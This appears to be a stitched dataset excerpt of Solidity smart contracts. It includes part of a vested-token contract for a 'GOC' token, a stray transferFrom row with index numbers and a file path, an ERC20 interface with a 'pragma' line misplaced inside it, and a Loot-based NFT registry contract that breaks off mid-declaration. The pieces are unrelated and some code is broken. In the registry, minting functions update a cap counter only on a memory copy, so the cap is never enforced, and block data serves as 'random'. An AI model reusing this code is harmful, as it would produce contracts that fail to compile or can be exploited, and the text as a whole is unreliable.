if grant was revokable revert(); } if (grant.granter != msg.sender) { // Only granter can revoke it revert(); } address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender; uint256 nonVested = nonVestedTokens(grant, now, block.number); // remove grant from array delete grants[_holder][_grantId]; grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)]; grants[_holder].length -= 1; balances[receiver] = balances[receiver].add(nonVested); balances[_holder] = balances[_holder].sub(nonVested); emit Transfer(_holder, receiver, nonVested); return true; } /** * @dev Calculate the total amount of transferable tokens of a holder at a given time * @param holder address The address of the holder * @param time uint The specific time. * @return An uint representing a holder&#39;s total amount of transferable tokens. */ function transferableTokens(address holder, uint time, uint number) view public returns (uint256) { uint256 grantIndex = tokenGrantsCount(holder); if (grantIndex == 0) return balanceOf(holder); // shortcut for holder without grants // Iterate through all the grants the holder has, and add all non-vested tokens uint256 nonVested = 0; for (uint256 i = 0; i < grantIndex; i++) { nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time, number)); } // Balance - totalNonVested is the amount of tokens a holder can transfer at any given time uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested); // Return the minimum of how many vested can transfer and other value // in case there are other limiting transferability factors (default is balanceOf) return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time, number)); } /** * @dev Check the amount of grants that an address has. * @param _holder The holder of the grants. * @return A uint representing the total amount of grants. */ function tokenGrantsCount(address _holder) public view returns (uint index) { return grants[_holder].length; } /** * @dev Calculate amount of vested tokens at a specifc time. * @param tokens uint256 The amount of tokens grantted. * @param time uint64 The time to be checked * @param start uint64 A time representing the begining of the grant * @param cliff uint64 The cliff period. * @param vesting uint64 The vesting period. * @return An uint representing the amount of vested tokensof a specif grant. * transferableTokens * | _/-------- vestedTokens rect * | _/ * | _/ * | _/ * | _/ * | / * | .| * | . | * | . | * | . | * | . | * | . | * +===+===========+---------+----------> time * Start Clift Vesting */ function calculateVestedTokensTime( uint256 tokens, uint256 time, uint256 start, uint256 cliff, uint256 vesting) public pure returns (uint256) { // Shortcuts for before cliff and after vesting cases. if (time < cliff) return 0; if (time >= vesting) return tokens; // Interpolate all vested tokens. // As before cliff the shortcut returns 0, we can use just calculate a value // in the vesting rect (as shown in above&#39;s figure) // vestedTokens = tokens * (time - start) / (vesting - start) uint256 vestedTokens = SafeMath.div(SafeMath.mul(tokens, SafeMath.sub(time, start)), SafeMath.sub(vesting, start)); return vestedTokens; } function calculateVestedTokensNumber( uint256 tokens, uint256 number, uint256 start, uint256 cliff, uint256 vesting) public pure returns (uint256) { // Shortcuts for before cliff and after vesting cases. if (number < cliff) return 0; if (number >= vesting) return tokens; // Interpolate all vested tokens. // As before cliff the shortcut returns 0, we can use just calculate a value // in the vesting rect (as shown in above&#39;s figure) // vestedTokens = tokens * (number - start) / (vesting - start) uint256 vestedTokens = SafeMath.div(SafeMath.mul(tokens, SafeMath.sub(number, start)), SafeMath.sub(vesting, start)); return vestedTokens; } function calculateVestedTokens( bool timeOrNumber, uint256 tokens, uint256 time, uint256 number, uint256 start, uint256 cliff, uint256 vesting) public pure returns (uint256) { if (timeOrNumber) { return calculateVestedTokensTime( tokens, time, start, cliff, vesting ); } else { return calculateVestedTokensNumber( tokens, number, start, cliff, vesting ); } } /** * @dev Get all information about a specifc grant. * @param _holder The address which will have its tokens revoked. * @param _grantId The id of the token grant. * @return Returns all the values that represent a TokenGrant(address, value, start, cliff, * revokability, burnsOnRevoke, and vesting) plus the vested value at the current time. */ function tokenGrant(address _holder, uint _grantId) public view returns (address granter, uint256 value, uint256 vested, uint start, uint cliff, uint vesting, bool revokable, bool burnsOnRevoke, bool timeOrNumber) { TokenGrant storage grant = grants[_holder][_grantId]; granter = grant.granter; value = grant.value; start = grant.start; cliff = grant.cliff; vesting = grant.vesting; revokable = grant.revokable; burnsOnRevoke = grant.burnsOnRevoke; timeOrNumber = grant.timeOrNumber; vested = vestedTokens(grant, now, block.number); } /** * @dev Get the amount of vested tokens at a specific time. * @param grant TokenGrant The grant to be checked. * @param time The time to be checked * @return An uint representing the amount of vested tokens of a specific grant at a specific time. */ function vestedTokens(TokenGrant grant, uint time, uint number) private pure returns (uint256) { return calculateVestedTokens( grant.timeOrNumber, grant.value, uint256(time), uint256(number), uint256(grant.start), uint256(grant.cliff), uint256(grant.vesting) ); } /** * @dev Calculate the amount of non vested tokens at a specific time. * @param grant TokenGrant The grant to be checked. * @param time uint64 The time to be checked * @return An uint representing the amount of non vested tokens of a specifc grant on the * passed time frame. */ function nonVestedTokens(TokenGrant grant, uint time, uint number) private pure returns (uint256) { return grant.value.sub(vestedTokens(grant, time, number)); } /** * @dev Calculate the date when the holder can trasfer all its tokens * @param holder address The address of the holder * @return An uint representing the date of the last transferable tokens. */ function lastTokenIsTransferableDate(address holder) view public returns (uint date) { date = now; uint256 grantIndex = grants[holder].length; for (uint256 i = 0; i < grantIndex; i++) { if (grants[holder][i].timeOrNumber) { date = SafeMath.max256(grants[holder][i].vesting, date); } } } function lastTokenIsTransferableNumber(address holder) view public returns (uint number) { number = block.number; uint256 grantIndex = grants[holder].length; for (uint256 i = 0; i < grantIndex; i++) { if (!grants[holder][i].timeOrNumber) { number = SafeMath.max256(grants[holder][i].vesting, number); } } } } // QUESTIONS FOR AUDITORS: // - Considering we inherit from VestedToken, how much does that hit at our gas price? // vesting: 365 days, 365 days / 1 vesting contract GOCToken is VestedToken { //FIELDS string public name = "Global Optimal Chain"; string public symbol = "GOC"; uint public decimals = 18; uint public INITIAL_SUPPLY = 20 * 100000000 * 1 ether; uint public iTime; uint public iBlock; // Initialization contract grants msg.sender all of existing tokens. function GOCToken() public { totalSupply = INITIAL_SUPPLY; iTime = now; iBlock = block.number; address toAddress = msg.sender; balances[toAddress] = totalSupply; grantVestedTokens(toAddress, totalSupply.div(100).mul(30), iTime, iTime, iTime, false, false, true); grantVestedTokens(toAddress, totalSupply.div(100).mul(30), iTime, iTime + 365 days, iTime + 365 days, false, false, true); grantVestedTokens(toAddress, totalSupply.div(100).mul(20), iTime + 1095 days, iTime + 1095 days, iTime + 1245 days, false, false, true); uint startMine = uint(1054080) + block.number;// 1054080 = (183 * 24 * 60 * 60 / 15) uint finishMine = uint(210240000) + block.number;// 210240000 = (100 * 365 * 24 * 60 * 60 / 15) grantVestedTokens(toAddress, totalSupply.div(100).mul(20), startMine, startMine, finishMine, false, false, false); } // Transfer amount of tokens from sender account to recipient. function transfer(address _to, uint _value) public returns (bool) { // no-op, allow even during crowdsale, in order to work around using grantVestedTokens() while in crowdsale if (_to == msg.sender) return false; return super.transfer(_to, _value); } // Transfer amount of tokens from a specified address to a recipient. // Transfer amount of tokens from sender account to recipient. function transferFrom(address _from, address _to, uint _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } function currentTransferableTokens(address holder) view public returns (uint256) { return transferableTokens(holder, now, block.number); } }
Transfer amount of tokens from a specified address to a recipient. Transfer amount of tokens from sender account to recipient.
function transferFrom(address _from, address _to, uint _value) public returns (bool) { return super.transferFrom(_from, _to, _value); }
65,345
./full_match/100/0x5B1BA97B8f30662FD7C8344E4Cb2fE631281b669/sources/contracts/_default_contracts/SimpleERC20.sol
solhint-disable-next-line no-simple-event-func-name
interface IERC20 { function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); pragma solidity 0.8.4; }
14,291,099
/** *Submitted for verification at Etherscan.io on 2021-10-02 */ pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/LootCreativeDomain.sol pragma solidity 0.7.4; interface LCDProject { function mintWithLoot(address minter, uint256 tokenId) external; function mintWithoutLoot(address minter, uint256 tokenId) external payable; function mintAsCurator(address minter, uint256 tokenId) external; function getProps(uint256 tokenId) external view returns(string memory); function tokenURI(uint256 tokenId) external view returns(string memory); function ownerOf(uint256 tokenId) external view returns(address); } interface LCDCustomProject { function mintCustom(address minter, uint256 tokenId) external payable; function mintCustomAsCurator(address minter, uint256 tokenId) external; function getProps(uint256 tokenId) external view returns(string memory); function tokenURI(uint256 tokenId) external view returns(string memory); function ownerOf(uint256 tokenId) external view returns(address); } interface LootInterface { function ownerOf(uint256 tokenId) external view returns (address); } contract LootCreativeDomain is ReentrancyGuard { using SafeMath for uint256; uint256 private registryPrice = 50000000000000000; // initiated at 0.05 ETH uint256 private customPropPrice = 10000000000000000; // initiated at 0.01 ETH uint256 private constant NUM_LOOT = 8000; uint256 public protocolClaimableFees; address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7; LootInterface lootContract = LootInterface(lootAddress); address public gov; address public protocol; IERC20 public lcdToken; mapping(address => Project) projectRegistry; mapping(address => mapping(uint256 => string)) projectToTokenIdToLambdaProp; mapping(address => mapping(uint256 => string)) projectToTokenIdToOmegaProp; mapping(address => mapping(uint256 => string)) projectToTokenIdToCustomURI; mapping(address => uint256) affiliateOrCuratorFeesClaimable; mapping(address => mapping(uint256 => bool)) tokenRegistry; event ProjectRegister( address indexed _project, uint256 _lootPrice, uint256 _nonLootPrice, uint256 _nonLootMintCap, uint256 _curatorMintCap, uint256 _timestamp, bool _isCustomProject ); event Endorse( address indexed _project, uint256 _amountPerMint, uint256 _timestamp ); event RevokeEndorse( address indexed _project, uint256 _timestamp ); event LCDMint( address indexed _project, address indexed _minter, uint256 _tokenId, bool _mintWithLoot ); event FeeClaim( address indexed _claimer, uint256 _amount, uint256 _timestamp ); event ProtocolClaim( uint256 _amount, uint256 _timestamp ); event LambdaPropSet( address indexed _project, uint256 indexed _tokenId, string _lambdaProp, address indexed _affiliate ); event OmegaPropSet( address indexed _project, uint256 indexed _tokenId, string _omegaProp, address indexed _affiliate ); event CustomURISet( address indexed _project, uint256 indexed _tokenId, string _customURI, address indexed _affiliate ); struct Project { address curator; uint256 lootPrice; uint256 nonLootPrice; uint256 nonLootMintCap; uint256 nonLootMints; uint256 curatorMintCap; uint256 curatorMints; uint256 endorsementPerMint; bool isCustomURIEnabled; bool isCustomProject; } constructor(IERC20 _lcdToken) public { gov = msg.sender; protocol = msg.sender; lcdToken = _lcdToken; } modifier onlyGov { require(msg.sender == gov, "Not gov"); _; } modifier onlyProtocol { require(msg.sender == protocol, "Not protocol"); _; } /* * * Mint * */ /* * Mint on standard projects as Loot holder */ function mintWithLoot(address _project, uint256 _lootId) public payable nonReentrant { Project memory project = projectRegistry[_project]; require(lootContract.ownerOf(_lootId) == msg.sender, "Not owner"); require(msg.value == project.lootPrice, "Incorrect value"); require(!project.isCustomProject, "Custom project"); LCDProject(_project).mintWithLoot(msg.sender, _lootId); _registerId(_project, _lootId); _registerFeesFromMint(_project, project.lootPrice); _distributeEndorsement(msg.sender, project.endorsementPerMint); emit LCDMint(_project, msg.sender, _lootId, true); } /* * Mint on standard projects as non-Loot holder * Note that the tokenId is not accepted as a param; it's generated linearly */ function mintWithoutLoot(address _project) public payable nonReentrant { Project memory project = projectRegistry[_project]; require(msg.value == project.nonLootPrice, "Incorrect value"); require(project.nonLootMints < project.nonLootMintCap, "Capped"); require(!project.isCustomProject, "Custom project"); project.nonLootMints++; uint256 tokenId = NUM_LOOT.add(project.nonLootMints); LCDProject(_project).mintWithoutLoot(msg.sender, tokenId); _registerId(_project, tokenId); _registerFeesFromMint(_project, project.nonLootPrice); _distributeEndorsement(msg.sender, project.endorsementPerMint); emit LCDMint(_project, msg.sender, tokenId, false); } /* * Mint on custom projects as anyone */ function mintCustom(address _project, uint256 _tokenId) public payable { Project memory project = projectRegistry[_project]; require(project.isCustomProject, "Not custom project"); require(msg.value == project.nonLootPrice, "Incorrect value"); require(_tokenId > 0 && _tokenId <= project.nonLootMintCap, "Invalid id"); LCDCustomProject(_project).mintCustom(msg.sender, _tokenId); project.nonLootMints++; _registerId(_project, _tokenId); _registerFeesFromMint(_project, project.nonLootPrice); _distributeEndorsement(msg.sender, project.endorsementPerMint); emit LCDMint(_project, msg.sender, _tokenId, false); } /* * Mint on standard projects as curator */ function mintAsCurator(address _project, uint256 _tokenId) public { Project memory project = projectRegistry[_project]; require(msg.sender == project.curator, "Not curator"); require(!project.isCustomProject, "Custom project"); require(project.curatorMints < project.curatorMintCap, "No more mints"); require( _tokenId > NUM_LOOT.add(project.nonLootMintCap) && _tokenId <= NUM_LOOT.add(project.nonLootMintCap).add(project.curatorMintCap), "Invalid id" ); LCDProject(_project).mintAsCurator(msg.sender, _tokenId); _registerId(_project, _tokenId); emit LCDMint(_project, msg.sender, _tokenId, false); } /* * Mint on custom projects as curator */ function mintCustomAsCurator(address _project, uint256 _tokenId) public { Project memory project = projectRegistry[_project]; require(msg.sender == project.curator, "Not curator"); require(project.isCustomProject, "Not custom project"); require( _tokenId > project.nonLootMintCap && _tokenId <= project.nonLootMintCap.add(project.curatorMintCap), "Invalid id" ); LCDCustomProject(_project).mintCustomAsCurator(msg.sender, _tokenId); _registerId(_project, _tokenId); emit LCDMint(_project, msg.sender, _tokenId, false); } /* * * Gov * */ /* * Called to incentivize minters with LCD tokens on certain projects */ function endorse(address _project, uint256 _endorsementPerMint) public onlyGov { require(_endorsementPerMint <= 5e16, "Too high"); projectRegistry[_project].endorsementPerMint = _endorsementPerMint; emit Endorse(_project, _endorsementPerMint, block.timestamp); } /* * Called to no longer incentivize a project */ function revokeEndorsement(address _project) public onlyGov { projectRegistry[_project].endorsementPerMint = 0; emit RevokeEndorse(_project, block.timestamp); } /* * Change ETH amount required to register custom prop on LCD (wei notation) */ function changeCustomPropPrice(uint256 _newPrice) public onlyGov { customPropPrice = _newPrice; } /* * Change ETH amount required to register project on LCD (wei notation) */ function changeRegistryPrice(uint256 _newPrice) public onlyGov { registryPrice = _newPrice; } /* * Withdraw ERC20s from contract */ function withdrawTokens(address token) public onlyGov { IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); } /* * Set new gov address */ function setGov(address _gov) public onlyGov { require(_gov != address(0)); gov = _gov; } /* * Set new protocol address */ function setProtocol(address _protocol) public onlyProtocol { require(_protocol != address(0)); protocol = _protocol; } /* * * Claim Fees * */ /* * Affiliate or curator claim of ETH fees */ function claim(address _claimer) public nonReentrant { require(msg.sender == _claimer, "Not affiliate/curator"); uint256 claimable = affiliateOrCuratorFeesClaimable[_claimer]; require(claimable > 0, "Nothing to claim"); affiliateOrCuratorFeesClaimable[_claimer] = 0; (bool sent, ) = _claimer.call{value: claimable}(""); require(sent, "Failed"); emit FeeClaim(_claimer, claimable, block.timestamp); } /* * Protocol claim of ETH fees */ function protocolClaim() public onlyProtocol { uint256 claimable = protocolClaimableFees; protocolClaimableFees = 0; (bool sent, ) = protocol.call{value: claimable}(""); require(sent, "Failed"); emit ProtocolClaim(claimable, block.timestamp); } /* * * Curator * */ /* * Registers NFT project where Loot owners are entitled to mint with respective lootId * _project: NFT address * _lootPrice: ETH payable per Loot mint (can be 0) - wei notation * _nonLootPrice: ETH payable per non-Loot mint (can be 0) - wei notation * _nonLootMintCap: Tokens mintable to non-Loot owners * _curatorMintCap: Tokens mintable by curator * _isCustomURIEnabled: bool for whether token holders can set Custom URI for token on LCD contract */ function registerProject( address _project, uint256 _lootPrice, uint256 _nonLootPrice, uint256 _nonLootMintCap, uint256 _curatorMintCap, bool _isCustomURIEnabled ) public payable { require(msg.value == registryPrice, "Incorrect value"); Project storage project = projectRegistry[_project]; require(project.curator == address(0), "Project exists"); project.curator = msg.sender; project.lootPrice = _lootPrice; project.nonLootPrice = _nonLootPrice; project.nonLootMintCap = _nonLootMintCap; project.curatorMintCap = _curatorMintCap; project.isCustomURIEnabled = _isCustomURIEnabled; _registerFeesFromProp(address(0), registryPrice); emit ProjectRegister(_project, _lootPrice, _nonLootPrice, _nonLootMintCap, _curatorMintCap, block.timestamp, false); } /* * Registers NFT project where minting is not linked to Loot ownership * _project: NFT address * _price: ETH payable per mint (can be 0) - wei notation * _mintCap: total Rokens mintable by public * _curatorMintCap: Tokens mintable by curator * _isCustomURIEnabled: bool for whether token holders can set Custom URI for token on LCD contract */ function registerCustomProject( address _project, uint256 _price, uint256 _mintCap, uint256 _curatorMintCap, bool _isCustomURIEnabled ) public payable { require(msg.value == registryPrice, "Incorrect value"); Project storage project = projectRegistry[_project]; require(project.curator == address(0), "Project exists"); project.curator = msg.sender; project.nonLootPrice = _price; project.nonLootMintCap = _mintCap; project.curatorMintCap = _curatorMintCap; project.isCustomProject = true; project.isCustomURIEnabled = _isCustomURIEnabled; _registerFeesFromProp(address(0), registryPrice); emit ProjectRegister(_project, 0, _price, _mintCap, _curatorMintCap, block.timestamp, true); } /* * Changes curator of project and recipient of future mint fees */ function changeCurator(address _project, address _newCurator) public { require(msg.sender == projectRegistry[_project].curator, "Not curator"); require(_newCurator != address(0)); projectRegistry[_project].curator = _newCurator; } /* * * Props * */ /* * Set a custom string prop * Lambda prop has no specific intended use case. Developers can use this * prop to unlock whichever features or experiences they want to incorporate * into their creation * _affiliate is (for example) the developer of gaming or visual experience * that integrates the NFT * Affiliate earns 80% of ETH fee */ function setLambdaProp( address _project, uint256 _tokenId, string memory _lambdaProp, address _affiliate ) public payable nonReentrant { require(msg.sender == LCDProject(_project).ownerOf(_tokenId), "Not owner"); require(msg.value == customPropPrice, "Incorrect value"); projectToTokenIdToLambdaProp[_project][_tokenId] = _lambdaProp; _registerFeesFromProp(_affiliate, customPropPrice); emit LambdaPropSet(_project, _tokenId, _lambdaProp, _affiliate); } /* * Set a custom string prop * Omega prop has no specific intended use case. Developers can use this * prop to unlock whichever features or experiences they want to incorporate * into their creation * _affiliate is (for example) the developer of gaming or visual experience * that integrates the NFT * Omega prop price == 2x Lambda prop price * Affiliate earns 80% of ETH fee */ function setOmegaProp( address _project, uint256 _tokenId, string memory _omegaProp, address _affiliate ) public payable nonReentrant { require(msg.sender == LCDProject(_project).ownerOf(_tokenId), "Not owner"); require(msg.value == customPropPrice * 2, "Incorrect value"); projectToTokenIdToOmegaProp[_project][_tokenId] = _omegaProp; _registerFeesFromProp(_affiliate, customPropPrice * 2); emit OmegaPropSet(_project, _tokenId, _omegaProp, _affiliate); } /* * LCD allows token holders to set a custom URI of their choosing if curator has enabled feature * See LootVanGogh project for example use case, where rarity/properties are returned statically * via getProps but user can modify custom URI interpretation of those props * Example of _customURI prop would be an IPFS url * _affiliate is (for example) the developer of gaming or visual experience * that integrates the NFT * Affiliate earns 80% of ETH fee */ function setCustomURI( address _project, uint256 _tokenId, string memory _customURI, address _affiliate ) public payable nonReentrant { require(projectRegistry[_project].isCustomURIEnabled, "Disabled"); require(msg.sender == LCDProject(_project).ownerOf(_tokenId), "Not owner"); require(msg.value == customPropPrice, "Incorrect value"); projectToTokenIdToCustomURI[_project][_tokenId] = _customURI; _registerFeesFromProp(_affiliate, customPropPrice); emit CustomURISet(_project, _tokenId, _customURI, _affiliate); } /* * * Reads * */ /* * Returns whether token is included in LCD canonical registry */ function isTokenRegistered(address _project, uint256 _tokenId) public view returns(bool){ return tokenRegistry[_project][_tokenId]; } /* * Returns a custom string set on LCD contract via setLambdaProp * Lambda prop has no specific intended use case. Developers can use this * prop to unlock whichever features or experiences they want to incorporate * into their creation */ function getLambdaProp(address _project, uint256 _tokenId) public view returns(string memory){ return projectToTokenIdToLambdaProp[_project][_tokenId]; } /* * Returns a custom string set on LCD contract via setOmegaProp * Omega prop has no specific intended use case. Developers can use this * prop to unlock whichever features or experiences they want to incorporate * into their creation */ function getOmegaProp(address _project, uint256 _tokenId) public view returns(string memory){ return projectToTokenIdToOmegaProp[_project][_tokenId]; } /* * Returns either a custom URI set on LCD contract or tokenURI from respective project contract */ function tokenURI(address _project, uint256 _tokenId) public view returns(string memory){ if(bytes(projectToTokenIdToCustomURI[_project][_tokenId]).length > 0){ return projectToTokenIdToCustomURI[_project][_tokenId]; } return LCDProject(_project).tokenURI(_tokenId); } /* * Randomly-generated, constantly changing number for a given token to be used interpretatively * (as creator sees fit) on contracts, frontends, game experiences, etc. */ function getRandomProp(address _project, uint256 _tokenId) public view returns(uint256){ return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, _project, _tokenId))).div(1e18); } function getCustomTokenURI(address _project, uint256 _tokenId) public view returns(string memory){ return projectToTokenIdToCustomURI[_project][_tokenId]; } /* * Returns concatenated prop string for tokenId with global LCD properties * and project-specific properties */ function getProps(address _project, uint256 _tokenId) public view returns(string memory){ require(isTokenRegistered(_project, _tokenId), "Unregistered"); return string( abi.encodePacked( LCDProject(_project).getProps(_tokenId), " + lambda:", getLambdaProp(_project, _tokenId), " + omega:", getOmegaProp(_project, _tokenId), " + URI:", tokenURI(_project, _tokenId) ) ); } /* * Returns registry price, custom URI/lambdaProp price, omegaPropPrice */ function getPropPrices() public view returns(uint256, uint256, uint256){ return (registryPrice, customPropPrice, customPropPrice * 2); } /* * Returns claimable ETH amount for given affiliate or curator */ function getAffiliateOrCuratorClaimable(address _claimer) public view returns(uint256){ return affiliateOrCuratorFeesClaimable[_claimer]; } /* * Returns basic project info */ function getBasicProjectInfo(address _project) public view returns( address, uint256, uint256, uint256, bool ){ return ( projectRegistry[_project].curator, projectRegistry[_project].lootPrice, projectRegistry[_project].nonLootPrice, projectRegistry[_project].endorsementPerMint, projectRegistry[_project].isCustomProject ); } /* * Returns advanced project info */ function getAdvancedProjectInfo(address _project) public view returns( uint256, uint256, uint256, bool ) { return ( projectRegistry[_project].nonLootMints, projectRegistry[_project].curatorMintCap, projectRegistry[_project].curatorMints, projectRegistry[_project].isCustomURIEnabled ); } function 